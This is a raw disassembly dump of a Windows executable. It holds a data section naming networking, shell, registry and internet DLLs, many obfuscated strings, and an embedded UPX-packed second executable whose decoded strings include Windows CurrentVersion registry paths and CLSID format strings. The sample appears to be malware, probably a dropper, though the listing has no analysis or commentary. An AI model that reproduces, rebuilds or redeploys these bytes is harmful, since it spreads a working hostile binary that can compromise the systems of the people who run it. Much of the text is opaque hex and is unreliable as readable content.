74737274h, 72h dd 6F737700h, 32336B63h, 6C6C642Eh, 0Fh dup(40500000h) dd 4E495700h, 54454E49h, 4C4C442Eh, 40501400h, 45485300h dd 32334C4Ch, 4C4C442Eh, 40502800h, 52454B00h, 334C454Eh dd 4C442E32h, 4Ch, 15h dup(40503C00h), 45535500h, 2E323352h dd 4C4C44h, 9 dup(40505000h), 56444100h, 33495041h, 4C442E32h dd 4Ch, 0Bh dup(40506400h), 54524300h, 2E4C4C44h, 4C4C44h dd 0Eh dup(40507800h), 25h dup(0) dd 2000h, 0 dd 2000h, 100000h, 2A0000h, 300000h, 480000h db 2 dup(0) byte_44220A db 0 ; DATA XREF: sub_403BBF+17o aD?dK db 'D-?d# K',0 ; DATA XREF: sub_403BBF+34o aY db '*y',0 ; DATA XREF: sub_403BBF+B8o aCl6gK db 'Cl6g&k&',0 ; DATA XREF: sub_403BBF+D1o dword_44221E dd 5F2E27h ; DATA XREF: sub_403BBF+DEr a89vb db '89',0 ; DATA XREF: sub_403BBF+102o aCkrW@g db 'ckR%W@g',0 ; DATA XREF: sub_403BBF+12Eo aU3 db 'U3',0 ; DATA XREF: sub_403D2D+17o word_442232 dw 20h ; DATA XREF: sub_403D2D+12Er byte_442234 db 0 ; DATA XREF: sub_403D2D+162o aPg db ' pG!',0 ; DATA XREF: sub_403D2D+173o aP db 'p ',0 ; DATA XREF: sub_403D2D+1EFo aQ db 'q ',0 ; DATA XREF: sub_403D2D+2B6o aNnNX db 'nN#n=X',0 ; DATA XREF: sub_40409C+16o aFB db '$f',27h,'',0 ; DATA XREF: sub_4040C4+Fo dword_44224C dd 806371h ; DATA XREF: sub_4040C4+22r word_442250 dw 80h ; DATA XREF: sub_4040C4+2Ar align 4 dd 8, 10h dword_44225C dd 76h ; DATA XREF: sub_404170+Dr ; sub_404170:loc_404196r ... aXk db 'xk|#',0 ; DATA XREF: sub_4041FC+21o byte_442265 db 0 ; DATA XREF: sub_4041FC+67o aI db '%i',0 ; DATA XREF: sub_4041FC+78o dword_442269 dd 365223h ; DATA XREF: sub_4041FC+1C9r word_44226D dw 38h ; DATA XREF: sub_4041FC+1E0r byte_44226F db 44h ; DATA XREF: sub_4041FC+1F3o db 4Ch, 0 aBzvype db 'BzVYpE',0 ; DATA XREF: sub_4041FC+2D2o align 4 dw 7 unicode 0, <>,0 dd 11h dword_442284 dd 0 ; DATA XREF: sub_404525+Dr ; sub_404525:loc_40454Br ... dword_442288 dd 0 ; DATA XREF: sub_4045BD+16r ; sub_4045BD+43r ... dword_44228C dd 0 ; DATA XREF: sub_4045BD+Bo dd 6, 0Fh dword_442298 dd 0 ; DATA XREF: sub_40469F+Dr ; sub_40469F:loc_4046CCr ... a5gl db '/% 5gl;',0 ; DATA XREF: sub_40472A+2Fo aSa db '* S',0 ; DATA XREF: sub_40479E+6o aSWrH db 's+wR~H',0 ; DATA XREF: sub_40479E+87o a7 db '7^',0 ; DATA XREF: sub_40479E+C2o word_4422B3 dw 3Ch ; DATA XREF: sub_404A48+Fr aJ@6lO db 'j@6l^o',0 ; DATA XREF: sub_404A48+2Eo asc_4422BC db '&<',0 ; DATA XREF: sub_404DE3+4Co aM db '~M',0 ; DATA XREF: sub_404DE3+154o align 4 dword_4422C4 dd 6 ; DATA XREF: sub_405249:loc_4052C8r dword_4422C8 dd 0Fh ; DATA XREF: sub_405249:loc_4052A6r dword_4422CC dd 0 ; DATA XREF: sub_40500D+Dr ; sub_40500D:loc_40503Ar ... aAnvf db 'AnVF * ',0 ; DATA XREF: sub_405098+88o dword_4422D8 dd 0 ; DATA XREF: sub_405098+159o dword_4422DC dd 6 ; DATA XREF: sub_405415+70r ; sub_4063C4+331r dword_4422E0 dd 0Ah ; DATA XREF: sub_4056CB+131r ; sub_406073+204r ... dword_4422E4 dd 0 ; DATA XREF: sub_40531B+Er ; sub_40531B:loc_405349r ... dword_4422E8 dd 0 ; DATA XREF: sub_4063C4+63o a9jA5_4 db '9J`A5.4',0 ; DATA XREF: sub_405415+2Ao aU db ',U >',0 ; DATA XREF: sub_405415+52o aOOx db 'O%OX',0 ; DATA XREF: sub_405415+96o aFqvm db 'fqVM&',0 ; DATA XREF: sub_405415+C6o dword_442304 dd 8161677Fh ; DATA XREF: sub_405415+E4o db 0 aWvyj db 'wvyJ',0 ; DATA XREF: sub_405415+142o word_44230E dw 35h ; DATA XREF: sub_4055F7+Cr aEq db '`EQ-',0 ; DATA XREF: sub_4056CB+82o word_442315 dw 31h ; DATA XREF: sub_4056CB+E0r word_442317 dw 2Dh ; DATA XREF: sub_4056CB+EDr aQbj8 db 'qj>8',0 ; DATA XREF: sub_4056CB+174o aWfzvk db 'WfZvk',0 ; DATA XREF: sub_4056CB+1A5o byte_442325 db 0 ; DATA XREF: sub_4056CB+258o a9osO db '9Os,O',0 ; DATA XREF: sub_4056CB+37Ao aI? db 'i?',0 ; DATA XREF: sub_4056CB+70Ao word_44232F dw 42h ; DATA XREF: sub_4056CB+7D9r byte_442331 db 20h, 3Fh, 0 ; DATA XREF: sub_4056CB+7FEo byte_442334 db 0 ; DATA XREF: sub_4056CB+8FCo aQu_d db 'qu.d',0 ; DATA XREF: sub_406073+16o byte_44233A db 0 ; DATA XREF: sub_406073+2Eo byte_44233B db 46h ; DATA XREF: sub_406073+52o dd 716A455Eh db 7Fh, 0 word_442342 dw 4350h ; DATA XREF: sub_406073+86o db 0 word_442345 dw 20h ; DATA XREF: sub_406073+128r word_442347 dw 20h ; DATA XREF: sub_406073+23Ar aLum_ db 'lum&_',0 ; DATA XREF: sub_4063C4+55o word_44234F dw 3Dh ; DATA XREF: sub_4063C4+129r byte_442351 db 0 ; DATA XREF: sub_4063C4+38Co aFucxB6 db 'FUCX',27h,'b6',0 ; DATA XREF: sub_4063C4+3AFo aDr db '&:&dr',0 ; DATA XREF: sub_4063C4+3EDo dword_442360 dd 5 ; DATA XREF: sub_406B58+CCr dd 11h dword_442368 dd 0 ; DATA XREF: sub_406937+Cr ; sub_406937:loc_40695Cr ... dword_44236C dd 0 ; DATA XREF: sub_406B58+2Fw ; sub_406B58+3Er ... dword_442370 dd 0 ; DATA XREF: sub_406A03+10r ; sub_406A03+19r ... dword_442374 dd 0FFFFh ; DATA XREF: sub_406B58+23r ; sub_406B58+14Fr ... aYScl db 'y |SCl',0 ; DATA XREF: sub_406A03+27o a89vb_0 db '89',0 ; DATA XREF: sub_406A6B+19o aCkrW@g_0 db 'ckR%W@g',0 ; DATA XREF: sub_406A6B+37o dword_44238C dd 837E20h ; DATA XREF: sub_406A6B+B8r aTm4 db 'tm4 ',0 ; DATA XREF: sub_406B58+16o aP_0 db 'p ',0 ; DATA XREF: sub_406B58+52o aVh4zA db 'H4z+ a',0 ; DATA XREF: sub_406B58+92o word_4423A0 dw 20h ; DATA XREF: sub_406B58+AEr aNnNX_0 db 'nN#n=X',0 ; DATA XREF: sub_406B58+12Ao word_4423A9 dw 80h ; DATA XREF: sub_406B58:loc_406CD0r aPt db 'pt^ ',0 ; DATA XREF: sub_406B58+210o dword_4423B0 dd 7 ; DATA XREF: sub_406EA8+EAFr dword_4423B4 dd 0Bh ; DATA XREF: sub_406EA8+E82r ; sub_406EA8+EE2r ... dword_4423B8 dd 0 ; DATA XREF: sub_406E1B+15r ; sub_406E1B:loc_406E49r ... dword_4423BC dd 1 ; DATA XREF: sub_407F79+68r ; sub_40802E+19o byte_4423C0 db 0 ; DATA XREF: sub_406EA8+F7Er align 2 dw 4333h dd 7F3E4Ch a1Nuf db '1+nuf',0 ; DATA XREF: sub_406EA8+16o aT_1 db 'T ',0 ; DATA XREF: sub_406EA8+103o aM7x db 'M&7X<',0 ; DATA XREF: sub_406EA8+12Ao aFauI db 'fu,I',0 ; DATA XREF: sub_406EA8+1B6o aTyVj db 'TY Vj',0 ; DATA XREF: sub_406EA8+1CAo dword_4423E4 dd 78442Dh ; DATA XREF: sub_406EA8+24Br word_4423E8 dw 4Ch ; DATA XREF: sub_406EA8:loc_407148r dword_4423EA dd 745071h ; DATA XREF: sub_406EA8+31Ar word_4423EE dw 5A59h ; DATA XREF: sub_406EA8+32Fo db 0 aKer db '~kER',0 ; DATA XREF: sub_406EA8+487o a@mB1 db '@m|~b1',0 ; DATA XREF: sub_406EA8+54Fo dword_4423FD dd 242F4Fh ; DATA XREF: sub_406EA8+5F9r byte_442401 db 69h, 77h, 0 ; DATA XREF: sub_406EA8+76Fo dword_442404 dd 3E807Fh ; DATA XREF: sub_406EA8+796r byte_442408 db 4Dh, 72h, 0 ; DATA XREF: sub_406EA8+820o byte_44240B db 20h ; DATA XREF: sub_406EA8+910o db 20h, 0 a1rgk db '1Rgk',0 ; DATA XREF: sub_406EA8+952o word_442413 dw 44h ; DATA XREF: sub_406EA8+967r word_442415 dw 33h ; DATA XREF: sub_406EA8+9F5r aP_1 db '&p|*',0 ; DATA XREF: sub_406EA8+A2Bo byte_44241C db 0 ; DATA XREF: sub_406EA8+B6Bo aVG_tM db ' .T<m',0 ; DATA XREF: sub_406EA8+BBAo aBktcd db 'BKTcd',0 ; DATA XREF: sub_406EA8+C6Eo aE0zf6 db 'e0zf6',0 ; DATA XREF: sub_406EA8+E05o dword_442431 dd 507232h ; DATA XREF: sub_406EA8+F8Cr aANfd db ' nfd',0 ; DATA XREF: sub_406EA8+FACo aG4ug7i db 'g4Ug,7I',0 ; DATA XREF: sub_406EA8+101Ao aFmC db 'Fm>c`',0 ; DATA XREF: sub_406EA8+103Do byte_44244A db 0 ; DATA XREF: sub_407F79+8Do byte_44244B db 0FFh ; DATA XREF: sub_407F79+5o dd 0F5FFFFFFh, 407Fh db 80h, 40h, 0 byte_442457 db 20h ; DATA XREF: sub_40802E+40o dd 6Ch, 3 dword_442460 dd 0Fh ; DATA XREF: sub_408165+247r dword_442464 dd 0 ; DATA XREF: sub_4080E2+Dr ; sub_4080E2:loc_40810Fr ... a61xo db '61Xo+',0 ; DATA XREF: sub_408165+Co a7kq db '*7kq=',0 ; DATA XREF: sub_408165+DCo aEQbl db 'E;Qbl',0 ; DATA XREF: sub_408165+1A3o aMzr db 'MZ',0 ; DATA XREF: sub_408585+81o dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0C80000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 13h dup(0) dd 45500000h, 14C0000h, 88F20003h, 41CAh, 0 dd 0E00000h, 10B010Fh, 40000006h, 10000000h, 50000000h dd 98200000h, 60000000h, 0A0000000h, 0 dd 10000040h, 2000000h, 40000h, 0 dd 40000h, 0 dd 0B0000000h, 10000000h, 0 dd 20000h, 0 dd 10000010h, 0 dd 10000010h, 0 dd 100000h, 2 dup(0) dd 0A0000000h, 0D80000h, 1Ch dup(0) dd 50550000h, 3058h, 50000000h, 10000000h, 0 dd 4000000h, 3 dup(0) dd 800000h, 5055E000h, 3158h, 40000000h, 60000000h, 3A000000h dd 4000000h, 3 dup(0) dd 400000h, 5055E000h, 3258h, 10000000h, 0A0000000h, 2000000h dd 3E000000h, 3 dup(0) dd 400000h, 0C000h, 42h dup(0) db 0Ah align 2 aInfoThisFileIs db '$Info: This file is packed with the UPX executable packer http://' db 'upx.tsx.org $',0Ah,0 aIdUpx1_07Copyr db '$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Re' db 'served. $',0Ah,0 dw 5055h dd 90C2158h, 0A530902h, 0A837A262h, 72695F94h, 381F0000h dd 70000000h, 4260000h, 7EE93800h, 4D009208h, 300905Ah dd 3200043Bh, 0FFFFB2C8h, 0F97F40B8h, 4C8377Fh, 0EBA1F0Eh dd 0CD09B400h, 4C01B821h, 73696854h, 0FDBF7020h, 6F72FFFFh dd 6D617267h, 6E616320h, 20746F6Eh, 72206562h, 69206E75h dd 534F4402h, 50ED6D20h, 646FFF60h, 0D0D2E65h, 50C7240Ah dd 0DBED1345h, 14CFF21h, 888A0002h, 9DE041CAh, 6010B21h dd 7EE90F08h, 0E022B3h, 10E018A4h, 0F9257325h, 20B6366h dd 604501Eh, 0C96E676h, 710341Eh, 0F65E5920h, 29E0A006h dd 0B2017578h, 17C6FDDh, 4D3864D8h, 37903F76h, 7865742Eh dd 20A22B74h, 96CB6FFBh, 41A00EBh, 65722EE0h, 0CC636F6Ch dd 677BECA6h, 2623FB9Eh, 107942A2h, 3703D95h, 2CDB3034h dd 1226669Bh, 46E22FFAh, 9A691B30h, 0B423BAEh, 5E14032Ch dd 0CD34D36Eh, 562C4AB2h, 4D867062h, 9C4D34D3h, 0E2D4C2AEh dd 59AE9AF2h, 182D0836h, 463C0728h, 69A69A69h, 786C6254h dd 9A69B28Eh, 0C6B49EA6h, 4D2F02E2h, 0F4CDB9D3h, 3972E0Ah dd 344C3C24h, 5C34D34Dh, 9A8A7C6Ah, 0D34D34DBh, 0E6CEC0AAh dd 59BF2EF2h, 243BA776h, 0F4031087h, 69A6E42Bh, 0CAD4A69Ah dd 0BAACB6C0h, 0A29A6D60h, 0D72B9098h, 7B66B27Fh, 9603E9B6h dd 78132F8Ah, 0FF880330h, 66D217FFh, 4F538130h, 41575446h dd 4D5C4552h, 6F726369h, 0E5666F73h, 74FFFFFFh, 6E69575Ch dd 73776F64h, 7275435Ch, 746E6572h, 73726556h, 5C6E6F69h dd 0FB7F6853h, 536CDB6Fh, 6528760Ch, 656A624Fh, 10447463h dd 6F4C7961h, 0AD6E6461h, 39477015h, 6739082Bh, 0A5FF3F4Dh dd 0DB6C2006h, 72617041h, 6E656D74h, 0FA6E495Ch, 53035EDFh dd 33023B63h, 4C430032h, 5C444953h, 0E77ED923h, 257B00BBh dd 2D583830h, 0FA5D3404h, 7D0361DBh, 0FCEC8323h, 0F0E89090h dd 0DEF75706h, 60BAFBBh, 78453759h, 7C737469h, 6046DE82h dd 62694CFBh, 3B797172h, 656E686Bh, 0BF6ED76Ch, 5FB5DF67h dd 57791B54h, 7DF60FD5h, 0B565DBFBh, 50677562h, 6CC76972h dd 23656765h, 7850305Ch, 642E1ED7h, 50580F2Bh, 6F114F4Ch dd 33D5B737h, 21727270h, 2B6261C5h, 6F667364h, 62360DECh dd 732E126Fh, 35CBB79h, 0B835A0DDh, 5C214964h, 64723A5Dh dd 8FB10B7Fh, 5F74511Ah, 5CEC1F33h, 65704F5Fh, 0FE57B218h dd 4478566Eh, 706E6148h, 0B5AC006Eh, 2D4D37FFh, 4B59542Dh dd 46475157h, 0E0A4A48h, 0F9ED6113h, 4245411Fh, 48534159h dd 5B25464Ch, 7B096702h, 32020EFh, 30231205h, 0B0EF7BEEh dd 0B3A0F32h, 1E331504h, 7FFC8360h, 4A455767h, 4A464B57h dd 0AB414557h, 0FE9A13BBh, 5349444Eh, 1A034452h, 0A200FF97h dd 0CBCB901Fh, 1FA60B6Eh, 91218D0Fh, 0A4BCB921h, 31232319h dd 6D253525h, 0D97FD3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 57740150h push 24h dec ch imul ch adc eax, 8D1E112Ch inc ebp lock push eax or [eax], ebp movzx eax, word ptr [ebp-6] push eax mov esi, ds:74F3CF20h iret ; --------------------------------------------------------------------------- db 0Ah, 0FCh, 50h dd 0F6F8FE04h, 0FB9B66F4h, 858D50F7h, 0F0755B78h, 3826C068h dd 36CD10D6h, 0B017ECBBh, 14B468FEh, 0B76A0C4Fh, 4FB7F1Dh dd 0F9F75999h, 0C283DC5Fh, 2A505205h, 345DD60Ch, 73BDCC10h dd 38C4832Fh, 68502715h, 3B8129B0h, 5B7776DBh, 80A0BF8Fh dd 12285750h, 5214220Fh, 647736Eh, 373015A4h, 7D330876h dd 1766E6B0h, 6A2C310Bh, 0D8986809h, 0C9ECE761h, 28458830h dd 66FDDB9Fh, 7909372Fh, 68234068h, 77866E02h, 606C986Eh dd 0C95E5F12h, 0AEF22C3h, 18E11BEFh, 0A91D8B53h, 0FF336726h dd 0EFFC7D89h, 0FFFCFF0Ah, 10C083D3h, 312C8950h, 0F08BDC1Ch dd 0FF73B59h, 0EFDB2384h, 6A4937BAh, 3AE4680Ah, 21D1756h dd 468D056Ah, 0DFB7F00Fh, 0F817B16h, 0D3B41859h, 0F467640h dd 730FED6Ch, 570C1509h, 24122068h, 3FFB1475h, 0C73BDED9h dd 18090E75h, 0EB026A04h, 0F84D8D23h, 1337F351h, 111CB3DBh dd 5E2A2BF8h, 0C2105021h, 823B6EEDh, 5803FA08h, 840A13E9h dd 0DD77FB62h, 300068F7h, 4C2E5783h, 3BD88B1Fh, 687D74DFh dd 3AD95C14h, 10481BB7h, 0B70A0468h, 60440EF4h, 6ABFBB6Fh dd 58F88BF6h, 2B58F868h, 3F45AC3h, 0C28D16F8h, 89F1F4BFh dd 0CB2BC87Eh, 4689C103h, 7E22210Bh, 0E10DB86Eh, 23B05356h dd 33E81040h, 0EC6FEEF6h, 0F43C2DFh, 56535056h, 8C3C1656h dd 770974C6h, 9B8D17EEh, 0C710EB38h, 7EB0431h, 0ECDF3508h dd 1A250699h, 7D8B0711h, 6A1611Bh, 51615B60h, 0F605746h dd 66DF8E31h, 61FC96BBh, 0AF0F5424h, 0EB4A31Ch, 75FFFFDEh dd 0B907A121h, 35247621h, 7BFBC069h, 0C82B7F7Ch, 0C2126851h dd 2BD998EDh, 0D0F71D58h, 2D2474BFh, 0C7DCF6FBh, 155CC701h dd 500CA756h, 6BCC033h, 0CA1DD33h, 0A1609A6Bh, 1A3B6C5Dh dd 0D956D913h, 641A206Ah, 9D8DB438h, 0A2F0DE08h, 0B73816ECh dd 3019D866h, 0F8C3522Eh, 0DA1B6B02h, 0E10C7DBh, 106A1301h dd 0E9B3D537h, 14FCAD99h, 284BC610h, 0CD73A702h, 0FDD8780Dh dd 7C514104h, 7A799D23h, 13E01511h, 59B5E078h, 44CF1F92h dd 0DB541112h, 0ED372E9h, 83F08B74h, 3902F74h, 5B64D9E8h dd 0A0567832h, 9D351270h, 6C572119h, 1F5E681Bh, 8986EF8Dh dd 0DB33537Dh, 64405357h, 6FBDEE90h, 5B83E70Bh, 0BE566C74h dd 0BF6AA218h, 538C6667h, 890F087Fh, 575015B5h, 3FD2D3ECh dd 74C0858Ah, 67849F36h, 0E19939D6h, 74766CE6h, 84202613h dd 71E3EB15h, 5B359BE1h, 895BFC14h, 0FC6157D9h, 5E3FB067h dd 5B5FC38Bh, 5D8B048Dh, 53575608h, 0FDBEB7FEh, 3D66590Eh dd 3F76C88Bh, 3C80D144h, 0D745C1Ah, 0FF6DC181h, 151FAF6Fh dd 0EBEC77C9h, 3B664101h, 1B2373C8h, 0BE17FFC9h, 6DF002B4h dd 1778F12Bh, 8148DC5h, 1A148A47h, 61059488h, 6D7B6376h dd 7E6DC718h, 0C62F7AEBh, 90A618B7h, 245C644Ch, 0AF9D560Ch dd 57FFDDB7h, 10247C8Bh, 197EDB85h, 2EAB0A6Eh, 7D1A6AC0h dd 0FFFEE678h, 8861C280h, 3B463E14h, 80E77CF3h, 32001F24h dd 2C02109Fh, 8FFFF8ECh, 84D8B0Ch, 0D895648h, 777550BCh dd 237BF0C6h, 0A151930Bh, 536FF898h, 0B0B64F84h, 0FC1BDA0Bh dd 2404C711h, 7B01C75Ch, 59D676F6h, 2E7559D7h, 13546815h dd 0B37ECBF0h, 93B4E1Ah, 4080B27h, 0E1610CEBh, 68F1BDAFh dd 0A929193Ch, 505959E0h, 95F7C358h, 0CC27027h, 1703189Bh dd 0B3637289h, 6801FB3Dh, 0D1261294h, 3DA88F59h, 85BD95B7h dd 1FE934Fh, 0BF5D940Eh, 64C9C9ADh, 7B575D9Ch, 7C9DF8F0h dd 30BB6D93h, 9F6880A5h, 0B44EB1E1h, 0C0A359CDh, 0ACA43F00h dd 315F5F7Bh, 12353C7Ch, 960C7024h, 4505B36Eh, 0E564BFA0h dd 5A786657h, 6DB755A0h, 9B9C2613h, 5FDB93Dh, 0E8E6EBEBh dd 34680CFCh, 6CC7580Ah, 7B167716h, 2733756Ah, 5F17E15Dh dd 0E804F7E3h, 0E69FD8CDh, 0A2F18B76h, 0C79CFC18h, 41135006h dd 0E3998C65h, 196A1A1Dh, 0B60514C0h, 26108D66h, 1F20B710h dd 57816E74h, 257126Dh, 6F09B0C3h, 0D7611EB5h, 0B7518C8h dd 2DC05935h, 147E89FFh, 57571CEBh, 0AC470957h, 3EB799BEh dd 99741446h, 16012046h, 5FC68B1Ch, 0C6D77F68h, 6283568Dh dd 44F6420Fh, 20010824h, 11DB66D8h, 1D5920D6h, 3DA21B5Eh dd 0FB59BB6Fh, 9D5C8BEAh, 74037468h, 0DB768BD7h, 14ED95A3h dd 5609F685h, 752A6146h, 0B7F6FB7Fh, 0F03BDF1Ch, 718D0375h dd 8318515Bh, 392527FAh, 6752045h, 0FDB035B2h, 5104C183h dd 20D003EBh, 14021847h, 0D674B3F5h, 4552AF10h, 1CC25DB4h dd 0D8055EB6h, 7AC4B870h, 0E510E41Ah, 4FF42BEh, 20C46818h dd 896A9A7Ah, 0CED8C847h, 86A00E4h, 0D8C8CC18h, 0C4202BD8h dd 4C351016h, 0D03211D9h, 0B08D18D4h, 0B2C1A05h, 0D81B6914h dd 8E7C1D19h, 0A04514h, 565E5308h, 12CC170Ah, 4D61605Eh dd 660BB8FCh, 940AC604h, 83ABC040h, 0DDEDC0B3h, 21170BDh dd 0EA8B0575h, 12CB3CEBh, 0C187CD06h, 6810AFBCh, 1A8A53A4h dd 36276FCh, 3931EB76h, 0BA5D0C7Dh, 191E05D2h, 2EB17D0h dd 5BB81EE0h, 30F6DD6Bh, 8D00575Fh, 0DC91AE71h, 344AC57Eh dd 0E942189h, 6DAE08C2h, 0BF98F138h, 78570880h, 12DB098Eh dd 85E8BEFh, 2F0C331h, 74C3FDF4h, 7449205Ch, 0C7C82C14h dd 0A2659BA1h, 7AC4660Dh, 5C68DD4Ah, 4D6D46E2h, 510CEFE8h dd 63FFBA4Fh, 0FC26F135h, 0C01BD8F7h, 5FC2456h, 9B5071E4h dd 6FC5D483h, 0E59518A8h, 0B36AC503h, 0FFB191B7h, 753BC445h dd 93C0940Fh, 1F068FB6h, 4A3EF9D9h, 0B18BCC26h, 4D17DE35h dd 6895910h, 0CFA69106h, 0B986F977h, 8A040883h, 1010E04h dd 5D270C46h, 106D78FBh, 7AD518E7h, 534244C7h, 76398D9Dh dd 0F66AD943h, 57465945h, 0B2436206h, 3D06CB3Eh, 2B6DF6AAh dd 0B54CB46Ch, 89630CC9h, 4B565F01h, 5DDC6214h, 418B4C5Bh dd 0B455A420h, 314CDED6h, 3F6856E1h, 5D00A4CFh, 88661647h dd 5741415h, 336CEB67h, 0A6278CDCh, 1DA9AAh, 9C1B6332h dd 0F5E6803h, 2F6DB804h, 66602061h, 573B60Fh, 0BB648AFBh dd 9897785Eh, 1261C10Bh, 52135868h, 0FBC228D0h, 0A1642E21h dd 25896408h, 0C7CEA307h, 0D22CDDC6h, 0A5E86589h, 27240C29h dd 7BD757F4h, 30BBBB0h, 0F86850C3h, 0B76CC0Ah, 4014E4B4h dd 0E12E0F40h, 0B916D170h, 0AF3861E0h, 0A9522B34h, 6BFBF192h dd 9B6990B3h, 94DC1AFAh, 85930D9Bh, 4390A153h, 5B4F9493h dd 16F8B6EBh, 42392FE4h, 45F7DB08h, 0DA2DC0BFh, 7C5B3BC8h dd 201E7C80h, 44C60573h, 6FE25A6Dh, 0EB402E06h, 1F76FFE9h dd 0E0757546h, 86E1BC3h, 0E00381AEh, 0B9616480h, 3105BAB1h dd 4D450CCh, 0A6DDA60Ch, 1D5FA246h, 50DA1E08h, 0CF3CD804h dd 0D4D63CF3h, 9ED2CECCh, 46D979E7h, 746B60Ah, 6A040506h dd 18F9EF9Eh, 2040308h, 53B60601h, 6A716023h, 58859215h dd 0E8130340h, 98C95790h, 0BF723EC4h, 0C49A8598h, 50AE2350h dd 6B6F683Fh, 21D00ADCh, 59504208h, 623E3786h, 0C483D911h dd 0D20EEBFFh, 0C2BE1696h, 0C758BC3h, 0F185598Bh, 37D3D907h dd 0CF1CBEFAh, 0E07D83h, 160EE070h, 96841A46h, 0B4F072CCh dd 8A70F20Dh, 0D8FBCE71h, 0C9F0F468h, 0C8833811h, 0CDF6ABFFh dd 9FA17C2Ch, 3B0C55C0h, 0D7992D6h, 0B42E9EA5h, 1DE677FCh dd 7AF286E4h, 0BB4BFFFFh, 0CE8B135Eh, 0CA3BDCA6h, 48A2973h dd 0C0458839h, 972303Ch dd 1D73393Ch, 7D778F4Dh, 0D6AC0F8h, 74B84B0Ah, 8BE4797Fh dd 6EBD8F1h, 0FD0EB41h, 28850F39h, 0BD1FEDBCh, 3BF64A8Dh dd 5C1548F1h, 0DFFFFD73h, 8D0088D1h, 0C13B144Eh, 0C23B2A7Dh dd 0C8A2673h, 0BC4D8838h, 9A2DF980h, 0A53B6B1h, 0C9595404h dd 37DBDB77h, 253075DBh, 65830409h, 391000D4h, 0AFA0D44Dh dd 76DED966h, 3B568DBFh, 8A1F75C2h, 0D8E8B838h, 80C9A78h dd 43A41905h, 0D8CC36C1h, 0D4ADF8D6h, 5181802Eh, 3C62D0F6h dd 8D0B0211h, 77770CD0h, 8D020FD8h, 1B503E04h, 3E440E02h dd 639E0F02h, 46D0498Ch, 5C1180D3h, 8D00AD8h, 83C40B12h dd 37B704C8h, 5C24AEEh, 0C40A7F32h, 4057C01h, 895D7E0Ch dd 0A1A06237h, 6E31043Eh, 5AD40506h, 7530E6ECh, 74310607h dd 30032C18h, 97AD1B0Bh, 6846D709h, 6D4A10D8h, 921418BBh dd 0EA76E00Ah, 30A10B84h, 0C3C3C588h, 0E4239098h, 9CDB5878h dd 0C5691967h, 5DB3D35Dh, 3C80FDB0h, 662E9EBFh, 2F4F048Bh dd 7E10F2A0h, 0D7C35B9h, 0E33A097Fh, 0C33BC475h, 5321C972h dd 61505BCBh, 2E5335BBh, 470C572Ah, 7EC59C62h, 7CB2BF08h dd 75EB590Eh, 75CB3BC9h, 2CB0D332h, 5D5D974Ch, 0B34DEFC6h dd 753DBF74h, 98479124h, 0B1640C10h, 9DCB3043h, 0C26F3394h dd 0CBBBC3E9h, 0BE4C5306h, 1966900Bh, 4CACC84h, 5FF2C477h dd 770465C2h, 0C483DA04h, 6A535330h, 0DF074C0Ah, 0FF0CACD6h dd 20AB5325h, 0CE46497Ah, 27CCB815h, 0D91BD9AFh, 1EA8E4AAh dd 9037D90Ch, 0A48D91h, 0F3A3A8A8h, 66F1A36Fh, 857C83h dd 300A0710h, 304B0875h, 310CEC3Ch, 9E0F75BEh, 11C847FFh dd 885216C8h, 394AE60h, 6EB7FA26h, 5CFD4B46h, 6212ECEBh dd 57C33DC8h, 0C58B7D68h, 6177E80h, 0CE6D423Ah, 196D866Dh dd 0F51A1CA5h, 29C11E05h, 936CD263h, 24D00C22h, 0D6FABE8h dd 2B365EFEh, 9B3003F3h, 56EED1B8h, 6DAFC116h, 0C60E16F0h dd 140A0DFFh, 0B472B54Ah, 6F202A2Ah, 50B33709h, 903722A8h dd 11740BF0h, 28D1BF6Eh, 2B990F39h, 0EF8D1C2h, 56B1027Eh dd 0F923EB63h, 0AB2C0D33h, 0D1CB7615h, 0F9D10F6Fh, 5F70818Dh dd 66057E27h, 0E9A17FB7h, 0AC16EBACh, 3B0279FEh, 4173B87Dh dd 2D2BB8F8h, 0EC1342F6h, 1F04AD90h, 2D726750h, 3DBC4B6h dd 0D19015F7h, 55C7D8E8h, 0F336DB19h, 165543A3h, 6F470B0Eh dd 1EDF647Dh, 3BF07FFFh, 8D067CF7h, 0BAEB017Eh, 0A4C7814Fh dd 0FE3BA6E2h, 0FC1E0473h, 0F78BD5B6h, 0FC5F4EACh, 0AC752B00h dd 90A17622h, 24A30Ch, 0A6040789h, 0A4FB5CD9h, 0F5044789h dd 0C80807F9h, 528512B4h, 98A7A9CBh, 1A3721C0h, 1047322Bh dd 0BA10B110h, 0C7448E95h, 0D527A1A5h, 4582AA32h, 186E401Dh dd 3C609436h, 48689757h, 76192BB5h, 15B8A05Bh, 9E9C980Eh dd 0E9518E0Ch, 0C73E9193h, 0E05DCE35h, 1E142A2Eh, 46110B74h dd 5BF86A6Eh, 9A04850Bh, 0B88C8B5Ah, 0CA532084h, 5B1F77B9h dd 0DC24D771h, 1AE85589h, 4BD3C8Dh, 69AD7E17h, 72B43C9h dd 0A4028DA0h, 0D49F1B10h, 0F5608501h, 0FEBB0300h, 0E0358605h dd 0F9B86857h, 85731345h, 0B80ECC30h, 893E4816h, 0EC18DB59h dd 62853913h, 0A441AFA2h, 0ACEA01A3h, 72696BE0h, 0FF646F7Fh dd 4E5D0734h, 12C540BBh, 0CD9B82A0h, 97314A95h, 50271068h dd 39CE84ECh, 0CDE98C4h, 0EE721183h, 7A3D8BA5h, 0A0B912FEh dd 52C5A8DBh, 0AC017CC0h, 0DBFB7B1Bh, 18397517h, 0B37EBE5h dd 0D01C8DE0h, 0F65C6C51h, 110319B0h, 0F2001BEh, 0B1DBFD7Bh dd 1B06282Bh, 151ABD6Fh, 0B5FFCC38h, 99F9A3C4h, 0CCD04DCDh dd 8C0E1863h, 0B0DDDBBh, 84EB711Eh, 0D31B30CBh, 9D90D868h dd 75B8B9ECh, 4B4F9969h, 13261098h, 80535306h, 404C244Fh dd 6A91EB4Eh, 1304B764h, 87EB5F47h, 8C6439Ch, 0DB86C20h dd 0ABBAE88Ch, 6A4263C7h, 0D72F5D34h, 0C6C70C11h, 6359F460h dd 0B2C87DAFh, 0B8500460h, 91223F0h, 8C1911ECh, 0EEC86154h dd 8359C80Bh, 4D8351C7h, 